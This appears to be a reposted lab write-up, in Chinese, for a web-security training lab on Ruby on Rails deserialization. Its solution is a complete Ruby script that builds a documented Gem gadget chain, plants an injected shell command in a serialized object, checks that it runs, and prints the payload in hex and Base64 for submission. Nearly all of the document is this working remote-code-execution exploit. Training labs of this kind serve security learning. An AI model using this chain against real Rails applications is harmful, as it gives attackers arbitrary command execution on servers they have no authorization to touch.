编程语言
首页 > 编程语言> > Lab: Exploiting Ruby deserialization using a documented gadget chain:使用小工具链利用 Ruby 反序列化(Ruby 2.x Uni

Lab: Exploiting Ruby deserialization using a documented gadget chain:使用小工具链利用 Ruby 反序列化(Ruby 2.x Uni

作者:互联网

靶场内容:

本实验使用基于序列化的会话机制和 Ruby on Rails 框架。有一个记录的漏洞利用可以通过此框架中的小工具链实现远程代码执行。

要解决实验室问题,请查找记录的漏洞利用并对其进行调整以创建包含远程代码执行有效负载的恶意序列化对象。然后,将此对象传递到网站以morale.txt从 Carlos 的主目录中删除该文件。

解决方法:

#!/usr/bin/env ruby

class Gem::StubSpecification
  def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

标签:end,puts,specific,file,RCE,序列化,Ruby,Gem
来源: https://www.cnblogs.com/Zeker62/p/15176062.html